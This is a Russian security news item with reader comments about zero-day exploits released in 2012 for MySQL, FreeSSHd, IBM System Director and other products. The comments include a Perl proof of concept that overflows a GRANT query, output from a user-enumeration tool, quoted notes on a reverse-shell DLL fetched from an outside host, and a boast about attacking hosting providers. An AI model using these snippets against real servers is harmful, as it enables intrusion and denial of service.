Некто, скрывающийся под псевдонимом "Kingcope (http://www.exploit-db.com/author/?a=1856)", опубликовал (http://seclists.org/fulldisclosure/2012/Dec/index.html) списке рассылки Full Disclosure семь "zero-day" эксплоитов, поражающих неустранённые уязвимости в MySQL 5.1.x/5.5.x, а а также серию эксплоитов, поражающих продукты FreeSSHd (http://www.freesshd.com/), freeFTPd (http://www.freesshd.com/), IBM System Director (http://www-03.ibm.com/systems/software/director/) и SSH (http://www.ssh.com) (не путать с OpenSSH).
Отмеченные в эксплоитах уязвимости в MySQL теоретически позволяют удалённо осуществить повышение привилегий до администратора СУБД или получить доступ к выполнению команд на сервере (запуск shell). Проведение атаки требует наличие у злоумышленника возможности аутентифицированного подключения к СУБД, т.е. наличия аккаунта. Два эксплоита специфичны для платформы Windows (1, 2), а три поражают Linux-системы (1, 2, 3) и протестированы с последними версиями пакетов с MySQL из состава openSUSE, SUSE и Debian Lenny. Первый из эксплоитов для Linux для своей работы требует наличия прав FILE, а два остальных оформленны в виде демонстрационных прототипов, показывающих наличие уязвимости, но не позволяющих без доработки совершить атаку. Дополнительно опубликованы не требующие аутентификации эксплоиты для инициирования отказа в обслуживании и проверки наличия имени пользователя.Так как обновления с устранением уязвимостей ещё не доступны, администраторам MySQL рекомендуется ограничить доступ к СУБД только с доверительных хостов. Проследить за выходом обновлений для популярных дистрибутивов можно на данных страницах: Ubuntu (https://lists.ubuntu.com/archives/ubuntu-security-announce/), Mandriva (http://www.mandriva.com/en/security/advisories?dis=2011), Gentoo (http://www.gentoo.org/security/), openSUSE (http://lists.opensuse.org/opensuse-security-announce/), CentOS (http://lists.centos.org/pipermail/centos-announce/), Scientific Linux (http://listserv.fnal.gov/scripts/wa.exe?A1=ind1212&L=scienti...), Fedora (https://admin.fedoraproject.org/updates/F17/security), RHEL (http://rhn.redhat.com/errata/rhel-server-errata.html), Debian (http://www.debian.org/security/), FreeBSD (http://www.vuxml.org/freebsd/).
Интересны также уязвимости в FreeSSHd и в реализации SSH от компании SSH Communications Security Corp., в недрах которой был разработан протокол SSH, позволяющие пропустить фазу проверки пароля и войти в систему с любым паролем. Одновременно можно отметить несколько уязвимостей (http://www.debian.org/security/2012/dsa-2577) в библиотеке libssh (http://www.libssh.org/), позволяющих инициировать крах из-за обращения к областям памяти за пределами буфера, что теоретически может быть использовано для организации выполнения кода злоумышленника.
URL: http://seclists.org/fulldisclosure/2012/Dec/index.html
Новость: http://www.opennet.me/opennews/art.shtml?num=35486
Работает, наверное :)
% ./mysql_userenum_pl.bin 192.168.255.3 english.dic
[*] HIT! -- USER EXISTS: !@192.168.255.3
> Debian LennyТут нет ошибки? Именно Lenny?
Скорее всего да. Видимо баги очень давние. Приватные.
mysql настолько решето, что уже даже не смешно#!/usr/bin/perl
use strict;
use DBI();# Connect to the database.
my $dbh = DBI->connect("DBI:mysql:database=test;host=192.168.2.3;",
"user", "secret",
{'RaiseError' => 1});$a ="A" x 100000;
my $sth = $dbh->prepare("grant file on $a.* to 'user'\@'%' identified by 'secret';");
$sth->execute();
# Disconnect from the database.
$dbh->disconnect();
шаред хостингам писец
Вот уж чего не жалко. Тупиковая ветвь эволюции.
Что предлагаете взамен?
> Что предлагаете взамен?Облако без штанов :)))))))))))))
Спрашивал днём в packagers@mysql, ответа пока не было (неудивительно): http://lists.mysql.com/packagers?date=2012-12
Ни один не работает, все пишут access denied, несмотря на то, что логин, пароль и база правильные.
> Ни один не работает, все пишут access denied, несмотря на то, что
> логин, пароль и база правильные."Ни один", блин... Небось ровно один и протестировал - см. #10.
mysql_privilege_elevation.pl - работает только ежели пользователю грант FILE дать... // squeeze
The following exploit will load the dll from
\\isowarez.de\\director\wootwoot.dll
the wootwoot.dll is a reverse shell that will send a shell back to the
attacker (the code has to be inside the dll initialization routine).
The IBM Director exploit works on versions 5.20.3 and before, but not
on 5.2.30 SP2 and above.ну красава, чо. впрочем, если кто-то держит 4 года непатченый директор, да еще его в интернеты выставляет, я такому вазелин со склада не выдавал бы из принципа.
> версиями пакетов с MySQL из состава Debian Lenny^^^^^^^^^^^^
О, свежачком запахло ...
>> версиями пакетов с MySQL из состава Debian Lenny
> ^^^^^^^^^^^^
> О, свежачком запахло ...Для не умеющих читать самостоятельно балбесов: ошибки критичны для 5.0-5.5. Так что достанется буквально всем. Не нравится Lenny - можете попробовать на Squeeze, там 5.1. Или Wheezy.
> Для не умеющих читать..."""to be honest I didn't have a look into these optimizations and protections, it's hard enough to exploit it without these restrictions applied. seclists.org/fulldisclosure/2012/Dec/21
Хм, за это люди ещё и деньги платят...
Кто-то выставляет SQL сервер (любой) голой ... в сеть? Думал, таких умников уже нет.
> Кто-то выставляет SQL сервер (любой) голой ... в сеть? Думал, таких умников
> уже нет.Любой нормальный оператор хостинга выставляет.
Сомнение. С localhost - да. Но сам слушатель разве выставлен наружу?
> Сомнение. С localhost - да. Но сам слушатель разве выставлен наружу?Такое допустимо в локальной сети, если структура корпоративного приложения основана но толстых клиентах, а на сервере слушатель сидит на реальном IP адресе. У такой схемы, конечно, есть определенные преимущества.
Если слушатель выставлен в Интернет - это глупость великая. Обычно между SQL сервером и внешним миром находится сервер приложений (java, PHP еtс), и SQL сервер непосредственно из сети никаким образом невидим. Он должен слушать только localhost. Если администрирование через phpMyAdmin, то это ничего не меняет.
Проблема в том что хомячки хотят доступ со своей персоналочки.
> Проблема в том что хомячки хотят доступ со своей персоналочки.Хотят. Но это обычно в локальной сети. Чтобы туда забраться с эксплойтами, нужен носитель или засланный казачок. Что усложняет задачу на порядок.
>> Проблема в том что хомячки хотят доступ со своей персоналочки.
> Хотят. Но это обычно в локальной сети. Чтобы туда забраться с эксплойтами,
> нужен носитель или засланный казачок. Что усложняет задачу на порядок.Ошибаешься. Нельзя взломать только совесть - да и то лишь у некоторых. (С)
> Кто-то выставляет SQL сервер (любой) голой ... в сеть? Думал, таких умников
> уже нет.Зачем в сеть? Любой массовый виртуальный хостинг дает доступы своим клиентам. Для эксплуатации - есть все, что нужно. Стать клиентом можно за суммы =< 1$.
> Для эксплуатации - есть все, что нужно.
> Стать клиентом можно за суммы =< 1$.Найти дырявый php с sql-инджектом -- бесц^Hплатно.
Можно, но это не имеет отношения к сабжу.
>не имеет отношения к сабжу.Как и уплата $1.
> Можно, но это не имеет отношения к сабжу.Еще как имеет, вьюнош. Вам комикс нарисовать, чтобы наконец дошло?
>> Кто-то выставляет SQL сервер (любой) голой ... в сеть? Думал, таких умников
>> уже нет.
> Зачем в сеть? Любой массовый виртуальный хостинг дает доступы своим клиентам.
> Для эксплуатации - есть все, что нужно. Стать клиентом
> можно за суммы =< 1$.Для определенности, что именно он дает? Дает белый IP адрес и сидящий на порту 3306 слушатель MySQL? Сильно сомневаюсь.
Твое видение имеет очень далекое отношение к реальности, мускул открытый в мир вполне обычное явление для shared hosting. Но даже если случилось чудо и он закрыт для мира, то можно по-прежнему за копейки стать клиентом и получить к нему доступ.
> Для определенности, что именно он дает?Дает базу (или несколько) и логин/пароль для доступа к ней. Это позволит любому клиенту хостинга пойграться с предложенными скриптами.
А посредством уязвимостей в ПО этого клиента, тех же SQL-инъекций - еще и неопределенно большой компании кулхацкеров.
> Кто-то выставляет SQL сервер (любой) голой ... в сеть? Думал, таких умников
> уже нет.Вы даже не представляете, сколько хостеров в рунете держат 3306 порт открытым наружу.
Включая самые крупные.
А ещё over 9000 хостеров планеты.
Это просто праздник для скрипткидисов.
Грабь, убивай, ломай чужие хоумпаги!
Короче, жесть.
Даже если нет открытого в мир мускула, то есть phpmyadmin.
> протестированы с последними версиями пакетов с MySQL из состава openSUSE, SUSE и Debian Lenny.интересно зачем было тестировать дебьяновкий oldstable?
Затем, что эксплойты затрагивают не свежак, который вчера написан и еще нигде не применяется, а давно и успешно используемые в реальной жизни системы.
> Затем, что эксплойты затрагивают не свежак, который вчера написан и еще нигде
> не применяется, а давно и успешно используемые в реальной жизни системы.Замечательно и "свежак" затрагивает. обрати внимание на версии MySQL в статье.
Lenny был помянут из-за того, что там тестировалась самая старая версия (5.0) из отобранных дистрибутивов.
[сообщение отредактировано модератором]
"Не только свежак", если угодно. Имелось в виду, что дыры в нестабильных версиях никого, кроме разработчиков, не волнуют. А вот в стабильных, да еще давно стабильных...
У firstvds например если кто создал vds с openvz года три назад и не переезжал, то он так на etch и остался.
Посмотрел эксплоиты, там либо "эксплуатируется" привилегия FILE, которая равносильно ADMIN на базу, либо PoC, не имеющие рабочей реализации из-за фильтрации ввода на соответствие UTF, которые к тому же уже зарепорчены, и в MariaDB исправлены.
Единственное интересное - DOS, но кого этим удивишь? При наличии аккаунта, базу раком поставить не сложно в любом случае.
> и в MariaDB исправлены.Не у всех MariaDB
Для танкистов:
эксплойты PoC, рабочих в природе нет, и как сделать непонятно. "Новость" и ломаного гроша не стоит.
> эксплойты PoC, рабочих в природе нет, и как сделать непонятно. "Новость" и ломаного гроша не стоит.Для Windows эксплоиты рабочие, а для Linux кому нужно ума хватит довести до рабочего состояния.
> эксплойты PoC, рабочих в природе нет, и как сделать непонятно. "Новость" и
> ломаного гроша не стоит.То, что опубликованы прототипы эксплоитов не отменяет наличие уязвимости и существование работающих эксплоитов.
http://openquery.com/blog/mariadb-security-updates
CVE-2012-5579, a vulnerability that allowed an authenticated user to crash MariaDB server or to execute arbitrary code with the privileges of the mysqld process. This is a serious security issue. We recommend upgrading from older versions as soon as possible.
https://bugzilla.redhat.com/show_bug.cgi?id=881064
A stack-based buffer overflow flaw was found in the way MySQL, a multi-user, multi-threaded SQL database server, performed verification if specific user had the right to access particular database. An authenticated database user could use this flaw to cause mysqld daemon crash (denial of service) or, potentially, to execute arbitrary code with the privileges of the user running the mysqld daemon, by providing a specially-crafted database name to the routine checking the access rights.https://bugzilla.redhat.com/show_bug.cgi?id=882600
A heap-based buffer overflow was found in Mysql. An authenticated database user could use this flaw to cause mysqld to crash or possibly execute arbitrary code with the privileges of the user running mysql.
>То, что опубликованы прототипы эксплоитов не отменяет наличие уязвимости и существование работающих эксплоитов.Наличие рабочих эксплоитов сомнительно, надо обмануть парсер utf. Теоретически возможно, но на практике почти нереально.
> Для танкистов:
> эксплойты PoC, рабочих в природе нет, и как сделать непонятно. "Новость" и
> ломаного гроша не стоит.Ога.
До публикации уязвимости вы, наверное, считали, что и уязвимости нет.
В конце концов, неизвестный источник мог обнародовать _не_все_ дырки.
Неизвестный источник слил никому ненужный мусор.PoC слили потому что способа реализовать атаку так и не нашли. Отдали общественности - может найдется гений и придумает способ.
Крутотень. Уже поимел root доступ и положил пару хостеров.